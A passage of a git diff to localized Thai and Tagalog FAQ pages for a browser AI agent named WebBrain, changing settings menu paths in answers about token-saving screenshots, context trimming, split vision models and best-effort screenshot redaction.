- "text": "มีสามชั้นที่เป็นอิสระต่อกัน: ภาพหน้าจอประหยัดโทเค็น ก่อนรูปจะออกจากเครื่องของคุณ WebBrain ปรับขนาด (จำกัดด้านที่สั้นกว่า โดยรักษาสัดส่วน) และบีบอัด JPEG ซ้ำ ๆ จนกระทั่งพอดีกับงบโทเค็นรูปต่อเทิร์น ภาพหน้าจอ 2000×1200 ที่จะใช้โทเค็นอินพุตประมาณ 1,500 บน GPT-4o จะถูกบีบลงเหลือ ~300–500 โทเค็น โดยไม่มีความสูญเสียในทางปฏิบัติสำหรับงานอ่านหน้า ใช้งานอยู่ใน _fitImageDimensions พร้อมยูนิตเทสต์สำหรับคณิตศาสตร์ของงบ การตัด context อัจฉริยะ ประวัติการสนทนา เอาต์พุตของเครื่องมือ และดัมป์ DOM แบบฝังในแต่ละเทิร์นล้วนมีขีดจำกัด และจะถูกตัดจากเก่าที่สุดก่อนเมื่อหน้าต่าง context ของโมเดลที่ใช้งานอยู่ใกล้เต็ม คุณจะไม่เห็นการรันบวมขึ้นเงียบ ๆ จาก 10k โทเค็นเป็น 100k เพราะ read_page คืนบทความยาวขนาดนวนิยาย โมเดลด้านการมองเห็นโดยเฉพาะ จับคู่โมเดลข้อความราคาถูก (เช่น GPT-4o-mini) สำหรับการวางแผนและเรียกใช้เครื่องมือ กับโมเดลที่รองรับการมองเห็นแยก (เช่น GPT-4o) เฉพาะภาพหน้าจอ คุณจะได้ไม่ต้องจ่ายราคาของโมเดลมัลติโมดัลในทุกเทิร์น ตั้งค่าได้ที่ การตั้งค่า → การมองเห็น ผลลัพธ์สุดท้าย: เซสชันยาว ๆ กับผู้ให้บริการคลาวด์ยังคาดเดาได้ หากต้องการการควบคุมเต็มที่ ใช้ llama.cpp ภายในเครื่อง — ต้นทุนต่อโทเค็นเป็นศูนย์"
+ "text": "มีสามชั้นที่เป็นอิสระต่อกัน: ภาพหน้าจอประหยัดโทเค็น ก่อนรูปจะออกจากเครื่องของคุณ WebBrain ปรับขนาด (จำกัดด้านที่สั้นกว่า โดยรักษาสัดส่วน) และบีบอัด JPEG ซ้ำ ๆ จนกระทั่งพอดีกับงบโทเค็นรูปต่อเทิร์น ภาพหน้าจอ 2000×1200 ที่จะใช้โทเค็นอินพุตประมาณ 1,500 บน GPT-4o จะถูกบีบลงเหลือ ~300–500 โทเค็น โดยไม่มีความสูญเสียในทางปฏิบัติสำหรับงานอ่านหน้า ใช้งานอยู่ใน _fitImageDimensions พร้อมยูนิตเทสต์สำหรับคณิตศาสตร์ของงบ การตัด context อัจฉริยะ ประวัติการสนทนา เอาต์พุตของเครื่องมือ และดัมป์ DOM แบบฝังในแต่ละเทิร์นล้วนมีขีดจำกัด และจะถูกตัดจากเก่าที่สุดก่อนเมื่อหน้าต่าง context ของโมเดลที่ใช้งานอยู่ใกล้เต็ม คุณจะไม่เห็นการรันบวมขึ้นเงียบ ๆ จาก 10k โทเค็นเป็น 100k เพราะ read_page คืนบทความยาวขนาดนวนิยาย โมเดลด้านการมองเห็นโดยเฉพาะ จับคู่โมเดลข้อความราคาถูก (เช่น GPT-4o-mini) สำหรับการวางแผนและเรียกใช้เครื่องมือ กับโมเดลที่รองรับการมองเห็นแยก (เช่น GPT-4o) เฉพาะภาพหน้าจอ คุณจะได้ไม่ต้องจ่ายราคาของโมเดลมัลติโมดัลในทุกเทิร์น ตั้งค่าได้ที่ การตั้งค่า → โมเดลเสริม → การมองเห็น ผลลัพธ์สุดท้าย: เซสชันยาว ๆ กับผู้ให้บริการคลาวด์ยังคาดเดาได้ หากต้องการการควบคุมเต็มที่ ใช้ llama.cpp ภายในเครื่อง — ต้นทุนต่อโทเค็นเป็นศูนย์"
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>WebBrain ควบคุมบิล LLM บนคลาวด์อย่างไร?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>มีสามชั้นที่เป็นอิสระต่อกัน:</p><p><strong>ภาพหน้าจอประหยัดโทเค็น</strong> ก่อนรูปจะออกจากเครื่องของคุณ WebBrain ปรับขนาด (จำกัดด้านที่สั้นกว่า โดยรักษาสัดส่วน) และบีบอัด JPEG ซ้ำ ๆ จนกระทั่งพอดีกับงบโทเค็นรูปต่อเทิร์น ภาพหน้าจอ 2000×1200 ที่จะใช้โทเค็นอินพุตประมาณ 1,500 บน GPT-4o จะถูกบีบลงเหลือ ~300–500 โทเค็น โดยไม่มีความสูญเสียในทางปฏิบัติสำหรับงานอ่านหน้า ใช้งานอยู่ใน <code>_fitImageDimensions</code> พร้อมยูนิตเทสต์สำหรับคณิตศาสตร์ของงบ</p><p><strong>การตัด context อัจฉริยะ</strong> ประวัติการสนทนา เอาต์พุตของเครื่องมือ และดัมป์ DOM แบบฝังในแต่ละเทิร์นล้วนมีขีดจำกัด และจะถูกตัดจากเก่าที่สุดก่อนเมื่อหน้าต่าง context ของโมเดลที่ใช้งานอยู่ใกล้เต็ม คุณจะไม่เห็นการรันบวมขึ้นเงียบ ๆ จาก 10k โทเค็นเป็น 100k เพราะ <code>read_page</code> คืนบทความยาวขนาดนวนิยาย</p><p><strong>โมเดลด้านการมองเห็นโดยเฉพาะ</strong> จับคู่โมเดลข้อความราคาถูก (เช่น GPT-4o-mini) สำหรับการวางแผนและเรียกใช้เครื่องมือ กับโมเดลที่รองรับการมองเห็นแยก (เช่น GPT-4o) เฉพาะภาพหน้าจอ คุณจะได้ไม่ต้องจ่ายราคาของโมเดลมัลติโมดัลในทุกเทิร์น ตั้งค่าได้ที่ <strong>การตั้งค่า → การมองเห็น</strong></p><p>ผลลัพธ์สุดท้าย: เซสชันยาว ๆ กับผู้ให้บริการคลาวด์ยังคาดเดาได้ หากต้องการการควบคุมเต็มที่ ใช้ llama.cpp ภายในเครื่อง — ต้นทุนต่อโทเค็นเป็นศูนย์</p></div>
+ <div class="faq-answer"><p>มีสามชั้นที่เป็นอิสระต่อกัน:</p><p><strong>ภาพหน้าจอประหยัดโทเค็น</strong> ก่อนรูปจะออกจากเครื่องของคุณ WebBrain ปรับขนาด (จำกัดด้านที่สั้นกว่า โดยรักษาสัดส่วน) และบีบอัด JPEG ซ้ำ ๆ จนกระทั่งพอดีกับงบโทเค็นรูปต่อเทิร์น ภาพหน้าจอ 2000×1200 ที่จะใช้โทเค็นอินพุตประมาณ 1,500 บน GPT-4o จะถูกบีบลงเหลือ ~300–500 โทเค็น โดยไม่มีความสูญเสียในทางปฏิบัติสำหรับงานอ่านหน้า ใช้งานอยู่ใน <code>_fitImageDimensions</code> พร้อมยูนิตเทสต์สำหรับคณิตศาสตร์ของงบ</p><p><strong>การตัด context อัจฉริยะ</strong> ประวัติการสนทนา เอาต์พุตของเครื่องมือ และดัมป์ DOM แบบฝังในแต่ละเทิร์นล้วนมีขีดจำกัด และจะถูกตัดจากเก่าที่สุดก่อนเมื่อหน้าต่าง context ของโมเดลที่ใช้งานอยู่ใกล้เต็ม คุณจะไม่เห็นการรันบวมขึ้นเงียบ ๆ จาก 10k โทเค็นเป็น 100k เพราะ <code>read_page</code> คืนบทความยาวขนาดนวนิยาย</p><p><strong>โมเดลด้านการมองเห็นโดยเฉพาะ</strong> จับคู่โมเดลข้อความราคาถูก (เช่น GPT-4o-mini) สำหรับการวางแผนและเรียกใช้เครื่องมือ กับโมเดลที่รองรับการมองเห็นแยก (เช่น GPT-4o) เฉพาะภาพหน้าจอ คุณจะได้ไม่ต้องจ่ายราคาของโมเดลมัลติโมดัลในทุกเทิร์น ตั้งค่าได้ที่ <strong>การตั้งค่า → โมเดลเสริม → การมองเห็น</strong></p><p>ผลลัพธ์สุดท้าย: เซสชันยาว ๆ กับผู้ให้บริการคลาวด์ยังคาดเดาได้ หากต้องการการควบคุมเต็มที่ ใช้ llama.cpp ภายในเครื่อง — ต้นทุนต่อโทเค็นเป็นศูนย์</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>การตั้งค่าเบลอภาพหน้าจอรับประกันหรือไม่ว่าข้อมูลส่วนตัวของฉันจะไม่มีวันไปถึงโมเดลวิชั่นบนคลาวด์?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>ไม่ — มันช่วยลดความเสี่ยง ไม่ใช่การรับประกัน เมื่อเปิดใช้งาน (<strong>การตั้งค่า → มัลติโมดัล → การเบลอภาพหน้าจอ</strong> ปิดอยู่โดยค่าเริ่มต้น) WebBrain จะเบลอช่องฟอร์มและข้อความที่ดูเหมือนอีเมลหรือหมายเลขโทรศัพท์บนภาพหน้าจอทุกภาพ <em>ก่อน</em> ที่จะส่งไปยังโมเดลวิชั่น การตรวจจับทำงานทั้งหมดบนอุปกรณ์ของคุณโดยใช้หลักการ DOM heuristics ไม่มีการส่งข้อมูลเพิ่มเติมใดๆ</p><p><strong>ฟีเจอร์นี้เป็นแบบ best-effort และ fail-open</strong> หากตัวตรวจจับไม่สามารถทำงานบนหน้าใดหน้าหนึ่งได้ — เช่น ทันทีหลังการนำทาง ในตัวแสดง PDF หรือบนหน้าเบราว์เซอร์ที่ถูกจำกัด — ภาพหน้าจอจะยังคงถูกส่งไปโดย<em>ไม่ถูกเบลอ</em> แทนที่จะยกเลิกงานของคุณ เนื้อหาที่หลักการ DOM heuristics มองไม่เห็น (ข้อความที่วาดบน canvas ข้อมูลส่วนบุคคลในรูปภาพ วิดเจ็ตที่ไม่ปกติ) ก็อาจหลุดรอดได้เช่นกัน และการตั้งค่านี้ครอบคลุมเฉพาะภาพหน้าจอเท่านั้น ข้อความในหน้าเว็บที่ส่งไปยังโมเดลจะไม่ถูกเบลอโดยการตั้งค่านี้</p><p><strong>หากต้องการความเป็นส่วนตัวด้านวิชั่นอย่างเต็มที่ ให้ใช้โมเดลภายในเครื่อง</strong> เมื่อใช้ผู้ให้บริการแบบออฟไลน์ เช่น llama.cpp หรือ Ollama ภาพหน้าจอและข้อความในหน้าเว็บจะไม่ออกจากเครื่องของคุณเลย จึงไม่มีอะไรต้องเบลอตั้งแต่แรก — นี่คือการตั้งค่าเดียวที่รับประกันความเป็นส่วนตัวได้จริง ดู "ใช้ WebBrain แบบออฟไลน์ทั้งหมดได้ไหม?" ด้านบน</p><p><strong>ไม่มีเครื่องที่แรงพอจะรันโมเดลภายในเครื่องแบบรองรับวิชั่น?</strong> ทางเลือกที่ดีคือใช้โมเดลภายในเครื่องขนาดเล็กสำหรับการวางแผนและเรียกใช้เครื่องมือ (เบาพอสำหรับ CPU/GPU ทั่วไป) ควบคู่กับผู้ให้บริการคลาวด์สำหรับการเรียกใช้วิชั่นย่อย พร้อมเปิดการเบลอภาพหน้าจอไว้ ด้วยวิธีนี้บทสนทนาและข้อความในหน้าเว็บของคุณยังคงอยู่ในเครื่อง และทุกภาพหน้าจอที่ส่งออกไปยังวิชั่นบนคลาวด์จะถูกเบลอช่องฟอร์มและอีเมล/เบอร์โทรที่ตรวจพบไว้ล่วงหน้าแล้ว — ลดความเสี่ยงบนคลาวด์โดยไม่ต้องใช้ฮาร์ดแวร์สำหรับโมเดลวิชั่นภายในเครื่องแบบเต็มรูปแบบ ตั้งค่าการแบ่งนี้ได้ที่ <strong>การตั้งค่า → วิชั่น</strong> (ดู "WebBrain ควบคุมบิล LLM บนคลาวด์อย่างไร?" ด้านบน)</p></div>
+ <div class="faq-answer"><p>ไม่ — มันช่วยลดความเสี่ยง ไม่ใช่การรับประกัน เมื่อเปิดใช้งาน (<strong>การตั้งค่า → โมเดลเสริม → การมองเห็น → การเบลอภาพหน้าจอ</strong> ปิดอยู่โดยค่าเริ่มต้น) WebBrain จะเบลอช่องฟอร์มและข้อความที่ดูเหมือนอีเมลหรือหมายเลขโทรศัพท์บนภาพหน้าจอทุกภาพ <em>ก่อน</em> ที่จะส่งไปยังโมเดลวิชั่น การตรวจจับทำงานทั้งหมดบนอุปกรณ์ของคุณโดยใช้หลักการ DOM heuristics ไม่มีการส่งข้อมูลเพิ่มเติมใดๆ</p><p><strong>ฟีเจอร์นี้เป็นแบบ best-effort และ fail-open</strong> หากตัวตรวจจับไม่สามารถทำงานบนหน้าใดหน้าหนึ่งได้ — เช่น ทันทีหลังการนำทาง ในตัวแสดง PDF หรือบนหน้าเบราว์เซอร์ที่ถูกจำกัด — ภาพหน้าจอจะยังคงถูกส่งไปโดย<em>ไม่ถูกเบลอ</em> แทนที่จะยกเลิกงานของคุณ เนื้อหาที่หลักการ DOM heuristics มองไม่เห็น (ข้อความที่วาดบน canvas ข้อมูลส่วนบุคคลในรูปภาพ วิดเจ็ตที่ไม่ปกติ) ก็อาจหลุดรอดได้เช่นกัน และการตั้งค่านี้ครอบคลุมเฉพาะภาพหน้าจอเท่านั้น ข้อความในหน้าเว็บที่ส่งไปยังโมเดลจะไม่ถูกเบลอโดยการตั้งค่านี้</p><p><strong>หากต้องการความเป็นส่วนตัวด้านวิชั่นอย่างเต็มที่ ให้ใช้โมเดลภายในเครื่อง</strong> เมื่อใช้ผู้ให้บริการแบบออฟไลน์ เช่น llama.cpp หรือ Ollama ภาพหน้าจอและข้อความในหน้าเว็บจะไม่ออกจากเครื่องของคุณเลย จึงไม่มีอะไรต้องเบลอตั้งแต่แรก — นี่คือการตั้งค่าเดียวที่รับประกันความเป็นส่วนตัวได้จริง ดู "ใช้ WebBrain แบบออฟไลน์ทั้งหมดได้ไหม?" ด้านบน</p><p><strong>ไม่มีเครื่องที่แรงพอจะรันโมเดลภายในเครื่องแบบรองรับวิชั่น?</strong> ทางเลือกที่ดีคือใช้โมเดลภายในเครื่องขนาดเล็กสำหรับการวางแผนและเรียกใช้เครื่องมือ (เบาพอสำหรับ CPU/GPU ทั่วไป) ควบคู่กับผู้ให้บริการคลาวด์สำหรับการเรียกใช้วิชั่นย่อย พร้อมเปิดการเบลอภาพหน้าจอไว้ ด้วยวิธีนี้บทสนทนาและข้อความในหน้าเว็บของคุณยังคงอยู่ในเครื่อง และทุกภาพหน้าจอที่ส่งออกไปยังวิชั่นบนคลาวด์จะถูกเบลอช่องฟอร์มและอีเมล/เบอร์โทรที่ตรวจพบไว้ล่วงหน้าแล้ว — ลดความเสี่ยงบนคลาวด์โดยไม่ต้องใช้ฮาร์ดแวร์สำหรับโมเดลวิชั่นภายในเครื่องแบบเต็มรูปแบบ ตั้งค่าการแบ่งนี้ได้ที่ <strong>การตั้งค่า → โมเดลเสริม → การมองเห็น</strong> (ดู "WebBrain ควบคุมบิล LLM บนคลาวด์อย่างไร?" ด้านบน)</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>WebBrain ส่ง DOM ทั้งหมดไปยังโมเดล AI หรือไม่?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/tl/faq/index.html b/web/docs/tl/faq/index.html
index 78ff093a6..f455e1be6 100644
--- a/web/docs/tl/faq/index.html
+++ b/web/docs/tl/faq/index.html
@@ -249,7 +249,7 @@
"name": "Ginagarantiyahan ba ng setting na Pagbura sa screenshot na hindi kailanman maaabot ng cloud vision model ang aking pribadong data?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Hindi — binabawasan lang nito ang exposure, hindi ito garantiya. Kapag naka-enable (Settings → Multimodal → Screenshot redaction, naka-off bilang default), binuburahan ng WebBrain ang mga form field at tekstong mukhang email address o numero ng telepono sa bawat screenshot bago ito ipadala sa isang vision model. Tumatakbo ang detection nang buo sa iyong device gamit ang DOM heuristics; walang karagdagang ipinapadala. Best-effort at fail-open ito. Kung hindi matakbo ang detector sa isang page — halimbawa, agad pagkatapos mag-navigate, sa mga PDF viewer, o sa mga restricted browser page — ipapadala pa rin ang screenshot nang hindi nabura sa halip na kanselahin ang iyong task. Puwede ring makalusot ang nilalamang hindi nakikita ng DOM heuristics (tekstong iginuhit sa canvas, personal na impormasyon sa loob ng mga larawan, hindi karaniwang widget). At sinasaklaw lang ng setting na ito ang mga screenshot: hindi binubura nito ang text ng page na ipinapadala sa model. Para sa ganap na privacy sa vision, gumamit ng local model. Gamit ang offline provider tulad ng llama.cpp o Ollama, hindi kailanman aalis sa iyong device ang mga screenshot at text ng page, kaya wala talagang burahin sa umpisa pa lang — ito lang ang setup kung saan ganap na ginagarantiya ang privacy. Tingnan ang \"Magagamit ko ba ang WebBrain nang ganap na offline?\" sa itaas. Walang device na kayang magpatakbo ng local model na may vision? Magandang gitnang solusyon ang paggamit ng maliit na local model para sa planning at pag-call ng tools (magaan na kayang tumakbo kahit sa ordinaryong CPU/GPU), kasama ang isang cloud provider para sa vision sub-calls, habang naka-on ang Screenshot redaction. Nananatili pa rin sa device mo ang iyong usapan at text ng page, at bawat screenshot na aalis papunta sa cloud vision ay bura na muna ang mga form field at nadetect na email/telepono — mas kaunting exposure sa cloud nang hindi na kailangan ng hardware para sa isang buong local vision model. I-configure ang paghahati na ito sa Settings → Vision (tingnan ang \"Paano kinokontrol ng WebBrain ang singil sa cloud LLM?\" sa itaas)."
+ "text": "Hindi — binabawasan lang nito ang exposure, hindi ito garantiya. Kapag naka-enable (Settings → Mga Pantulong na Modelo → Bisyon → Screenshot redaction, naka-off bilang default), binuburahan ng WebBrain ang mga form field at tekstong mukhang email address o numero ng telepono sa bawat screenshot bago ito ipadala sa isang vision model. Tumatakbo ang detection nang buo sa iyong device gamit ang DOM heuristics; walang karagdagang ipinapadala. Best-effort at fail-open ito. Kung hindi matakbo ang detector sa isang page — halimbawa, agad pagkatapos mag-navigate, sa mga PDF viewer, o sa mga restricted browser page — ipapadala pa rin ang screenshot nang hindi nabura sa halip na kanselahin ang iyong task. Puwede ring makalusot ang nilalamang hindi nakikita ng DOM heuristics (tekstong iginuhit sa canvas, personal na impormasyon sa loob ng mga larawan, hindi karaniwang widget). At sinasaklaw lang ng setting na ito ang mga screenshot: hindi binubura nito ang text ng page na ipinapadala sa model. Para sa ganap na privacy sa vision, gumamit ng local model. Gamit ang offline provider tulad ng llama.cpp o Ollama, hindi kailanman aalis sa iyong device ang mga screenshot at text ng page, kaya wala talagang burahin sa umpisa pa lang — ito lang ang setup kung saan ganap na ginagarantiya ang privacy. Tingnan ang \"Magagamit ko ba ang WebBrain nang ganap na offline?\" sa itaas. Walang device na kayang magpatakbo ng local model na may vision? Magandang gitnang solusyon ang paggamit ng maliit na local model para sa planning at pag-call ng tools (magaan na kayang tumakbo kahit sa ordinaryong CPU/GPU), kasama ang isang cloud provider para sa vision sub-calls, habang naka-on ang Screenshot redaction. Nananatili pa rin sa device mo ang iyong usapan at text ng page, at bawat screenshot na aalis papunta sa cloud vision ay bura na muna ang mga form field at nadetect na email/telepono — mas kaunting exposure sa cloud nang hindi na kailangan ng hardware para sa isang buong local vision model. I-configure ang paghahati na ito sa Settings → Mga Pantulong na Modelo → Bisyon (tingnan ang \"Paano kinokontrol ng WebBrain ang singil sa cloud LLM?\" sa itaas)."
}
},
{
@@ -289,7 +289,7 @@
"name": "Paano kinokontrol ng WebBrain ang singil sa cloud LLM?",
"acceptedAnswer": {
"@type": "Answer",
- "text": "Tatlong magkakahiwalay na layer: Mga screenshot na pinatipid sa tokens. Bago umalis sa iyong makina ang anumang larawan, binabago ng WebBrain ang sukat nito (may cap sa shorter side, pinapanatili ang aspect ratio) at iteratively na nila-JPEG-compress hanggang kasya ito sa per-turn image-token budget. Ang isang 2000×1200 na screenshot na gagastos ng ~1,500 input tokens sa GPT-4o ay napi-compress sa ~300–500 tokens na walang praktikal na pagkawala para sa mga gawaing nagbabasa ng pahina. Ipinatupad sa _fitImageDimensions kasama ang unit tests para sa budget math. Matalinong context trimming. Ang kasaysayan ng usapan, output ng mga tool, at mga inline DOM dump ay limitado per turn at binabawasan na nag-uunang sa pinakamatandang kapag ang context window ng aktibong modelo ay malapit nang mapuno. Hindi mo makikita na ang isang run ay tahimik na lumaki mula 10k tokens patungong 100k dahil nagbalik ang read_page ng isang artikulong kasinghaba ng nobela. Nakalaang vision model. Magsama ng murang text model (hal. GPT-4o-mini) para sa pagpaplano at tool calls sa isang hiwalay na vision-capable na modelo (hal. GPT-4o) para lang sa mga screenshot, kaya hindi mo babayaran ang presyo ng multimodal-model sa bawat turn. I-configure sa ilalim ng Settings → Vision. Net result: mananatiling predictable ang mahahabang sesyon sa cloud providers. Para sa buong kontrol, gamitin ang llama.cpp nang lokal — zero ang cost per token."
+ "text": "Tatlong magkakahiwalay na layer: Mga screenshot na pinatipid sa tokens. Bago umalis sa iyong makina ang anumang larawan, binabago ng WebBrain ang sukat nito (may cap sa shorter side, pinapanatili ang aspect ratio) at iteratively na nila-JPEG-compress hanggang kasya ito sa per-turn image-token budget. Ang isang 2000×1200 na screenshot na gagastos ng ~1,500 input tokens sa GPT-4o ay napi-compress sa ~300–500 tokens na walang praktikal na pagkawala para sa mga gawaing nagbabasa ng pahina. Ipinatupad sa _fitImageDimensions kasama ang unit tests para sa budget math. Matalinong context trimming. Ang kasaysayan ng usapan, output ng mga tool, at mga inline DOM dump ay limitado per turn at binabawasan na nag-uunang sa pinakamatandang kapag ang context window ng aktibong modelo ay malapit nang mapuno. Hindi mo makikita na ang isang run ay tahimik na lumaki mula 10k tokens patungong 100k dahil nagbalik ang read_page ng isang artikulong kasinghaba ng nobela. Nakalaang vision model. Magsama ng murang text model (hal. GPT-4o-mini) para sa pagpaplano at tool calls sa isang hiwalay na vision-capable na modelo (hal. GPT-4o) para lang sa mga screenshot, kaya hindi mo babayaran ang presyo ng multimodal-model sa bawat turn. I-configure sa ilalim ng Settings → Mga Pantulong na Modelo → Bisyon. Net result: mananatiling predictable ang mahahabang sesyon sa cloud providers. Para sa buong kontrol, gamitin ang llama.cpp nang lokal — zero ang cost per token."
}
},
{
@@ -591,7 +591,7 @@
</details>
<details class="faq-question" id="token-conscious" data-faq-item>
<summary><span>Paano kinokontrol ng WebBrain ang singil sa cloud LLM?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Tatlong magkakahiwalay na layer:</p><p><strong>Mga screenshot na pinatipid sa tokens.</strong> Bago umalis sa iyong makina ang anumang larawan, binabago ng WebBrain ang sukat nito (may cap sa shorter side, pinapanatili ang aspect ratio) at iteratively na nila-JPEG-compress hanggang kasya ito sa per-turn image-token budget. Ang isang 2000×1200 na screenshot na gagastos ng ~1,500 input tokens sa GPT-4o ay napi-compress sa ~300–500 tokens na walang praktikal na pagkawala para sa mga gawaing nagbabasa ng pahina. Ipinatupad sa <code>_fitImageDimensions</code> kasama ang unit tests para sa budget math.</p><p><strong>Matalinong context trimming.</strong> Ang kasaysayan ng usapan, output ng mga tool, at mga inline DOM dump ay limitado per turn at binabawasan na nag-uunang sa pinakamatandang kapag ang context window ng aktibong modelo ay malapit nang mapuno. Hindi mo makikita na ang isang run ay tahimik na lumaki mula 10k tokens patungong 100k dahil nagbalik ang <code>read_page</code> ng isang artikulong kasinghaba ng nobela.</p><p><strong>Nakalaang vision model.</strong> Magsama ng murang text model (hal. GPT-4o-mini) para sa pagpaplano at tool calls sa isang hiwalay na vision-capable na modelo (hal. GPT-4o) para lang sa mga screenshot, kaya hindi mo babayaran ang presyo ng multimodal-model sa bawat turn. I-configure sa ilalim ng <strong>Settings → Vision</strong>.</p><p>Net result: mananatiling predictable ang mahahabang sesyon sa cloud providers. Para sa buong kontrol, gamitin ang llama.cpp nang lokal — zero ang cost per token.</p></div>
+ <div class="faq-answer"><p>Tatlong magkakahiwalay na layer:</p><p><strong>Mga screenshot na pinatipid sa tokens.</strong> Bago umalis sa iyong makina ang anumang larawan, binabago ng WebBrain ang sukat nito (may cap sa shorter side, pinapanatili ang aspect ratio) at iteratively na nila-JPEG-compress hanggang kasya ito sa per-turn image-token budget. Ang isang 2000×1200 na screenshot na gagastos ng ~1,500 input tokens sa GPT-4o ay napi-compress sa ~300–500 tokens na walang praktikal na pagkawala para sa mga gawaing nagbabasa ng pahina. Ipinatupad sa <code>_fitImageDimensions</code> kasama ang unit tests para sa budget math.</p><p><strong>Matalinong context trimming.</strong> Ang kasaysayan ng usapan, output ng mga tool, at mga inline DOM dump ay limitado per turn at binabawasan na nag-uunang sa pinakamatandang kapag ang context window ng aktibong modelo ay malapit nang mapuno. Hindi mo makikita na ang isang run ay tahimik na lumaki mula 10k tokens patungong 100k dahil nagbalik ang <code>read_page</code> ng isang artikulong kasinghaba ng nobela.</p><p><strong>Nakalaang vision model.</strong> Magsama ng murang text model (hal. GPT-4o-mini) para sa pagpaplano at tool calls sa isang hiwalay na vision-capable na modelo (hal. GPT-4o) para lang sa mga screenshot, kaya hindi mo babayaran ang presyo ng multimodal-model sa bawat turn. I-configure sa ilalim ng <strong>Settings → Mga Pantulong na Modelo → Bisyon</strong>.</p><p>Net result: mananatiling predictable ang mahahabang sesyon sa cloud providers. Para sa buong kontrol, gamitin ang llama.cpp nang lokal — zero ang cost per token.</p></div>
</details>
</section>
<section class="faq-topic" id="topic-models" data-faq-topic>
@@ -685,7 +685,7 @@
</details>
<details class="faq-question" id="screenshot-redaction" data-faq-item>
<summary><span>Ginagarantiyahan ba ng setting na Pagbura sa screenshot na hindi kailanman maaabot ng cloud vision model ang aking pribadong data?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
- <div class="faq-answer"><p>Hindi — binabawasan lang nito ang exposure, hindi ito garantiya. Kapag naka-enable (<strong>Settings → Multimodal → Screenshot redaction</strong>, naka-off bilang default), binuburahan ng WebBrain ang mga form field at tekstong mukhang email address o numero ng telepono sa bawat screenshot <em>bago</em> ito ipadala sa isang vision model. Tumatakbo ang detection nang buo sa iyong device gamit ang DOM heuristics; walang karagdagang ipinapadala.</p><p><strong>Best-effort at fail-open ito.</strong> Kung hindi matakbo ang detector sa isang page — halimbawa, agad pagkatapos mag-navigate, sa mga PDF viewer, o sa mga restricted browser page — ipapadala pa rin ang screenshot <em>nang hindi nabura</em> sa halip na kanselahin ang iyong task. Puwede ring makalusot ang nilalamang hindi nakikita ng DOM heuristics (tekstong iginuhit sa canvas, personal na impormasyon sa loob ng mga larawan, hindi karaniwang widget). At sinasaklaw lang ng setting na ito ang mga screenshot: hindi binubura nito ang <em>text</em> ng page na ipinapadala sa model.</p><p><strong>Para sa ganap na privacy sa vision, gumamit ng local model.</strong> Gamit ang offline provider tulad ng llama.cpp o Ollama, hindi kailanman aalis sa iyong device ang mga screenshot at text ng page, kaya wala talagang burahin sa umpisa pa lang — ito lang ang setup kung saan ganap na ginagarantiya ang privacy. Tingnan ang "Magagamit ko ba ang WebBrain nang ganap na offline?" sa itaas.</p><p><strong>Walang device na kayang magpatakbo ng local model na may vision?</strong> Magandang gitnang solusyon ang paggamit ng maliit na local model para sa planning at pag-call ng tools (magaan na kayang tumakbo kahit sa ordinaryong CPU/GPU), kasama ang isang cloud provider para sa vision sub-calls, habang naka-on ang Screenshot redaction. Nananatili pa rin sa device mo ang iyong usapan at text ng page, at bawat screenshot na aalis papunta sa cloud vision ay bura na muna ang mga form field at nadetect na email/telepono — mas kaunting exposure sa cloud nang hindi na kailangan ng hardware para sa isang buong local vision model. I-configure ang paghahati na ito sa <strong>Settings → Vision</strong> (tingnan ang "Paano kinokontrol ng WebBrain ang singil sa cloud LLM?" sa itaas).</p></div>
+ <div class="faq-answer"><p>Hindi — binabawasan lang nito ang exposure, hindi ito garantiya. Kapag naka-enable (<strong>Settings → Mga Pantulong na Modelo → Bisyon → Screenshot redaction</strong>, naka-off bilang default), binuburahan ng WebBrain ang mga form field at tekstong mukhang email address o numero ng telepono sa bawat screenshot <em>bago</em> ito ipadala sa isang vision model. Tumatakbo ang detection nang buo sa iyong device gamit ang DOM heuristics; walang karagdagang ipinapadala.</p><p><strong>Best-effort at fail-open ito.</strong> Kung hindi matakbo ang detector sa isang page — halimbawa, agad pagkatapos mag-navigate, sa mga PDF viewer, o sa mga restricted browser page — ipapadala pa rin ang screenshot <em>nang hindi nabura</em> sa halip na kanselahin ang iyong task. Puwede ring makalusot ang nilalamang hindi nakikita ng DOM heuristics (tekstong iginuhit sa canvas, personal na impormasyon sa loob ng mga larawan, hindi karaniwang widget). At sinasaklaw lang ng setting na ito ang mga screenshot: hindi binubura nito ang <em>text</em> ng page na ipinapadala sa model.</p><p><strong>Para sa ganap na privacy sa vision, gumamit ng local model.</strong> Gamit ang offline provider tulad ng llama.cpp o Ollama, hindi kailanman aalis sa iyong device ang mga screenshot at text ng page, kaya wala talagang burahin sa umpisa pa lang — ito lang ang setup kung saan ganap na ginagarantiya ang privacy. Tingnan ang "Magagamit ko ba ang WebBrain nang ganap na offline?" sa itaas.</p><p><strong>Walang device na kayang magpatakbo ng local model na may vision?</strong> Magandang gitnang solusyon ang paggamit ng maliit na local model para sa planning at pag-call ng tools (magaan na kayang tumakbo kahit sa ordinaryong CPU/GPU), kasama ang isang cloud provider para sa vision sub-calls, habang naka-on ang Screenshot redaction. Nananatili pa rin sa device mo ang iyong usapan at text ng page, at bawat screenshot na aalis papunta sa cloud vision ay bura na muna ang mga form field at nadetect na email/telepono — mas kaunting exposure sa cloud nang hindi na kailangan ng hardware para sa isang buong local vision model. I-configure ang paghahati na ito sa <strong>Settings → Mga Pantulong na Modelo → Bisyon</strong> (tingnan ang "Paano kinokontrol ng WebBrain ang singil sa cloud LLM?" sa itaas).</p></div>
</details>
<details class="faq-question" id="page-context" data-faq-item>
<summary><span>Ipinapadala ba ng WebBrain ang buong DOM sa AI model?</span><span class="faq-question-mark" aria-hidden="true"></span></summary>
diff --git a/web/docs/tr/faq/index.html b/web/docs/tr/faq/index.html
index efae5d842..7176724ed 100644
--- a/web/docs/tr/faq/index.html
+++ b/web/docs/tr/faq/index.html
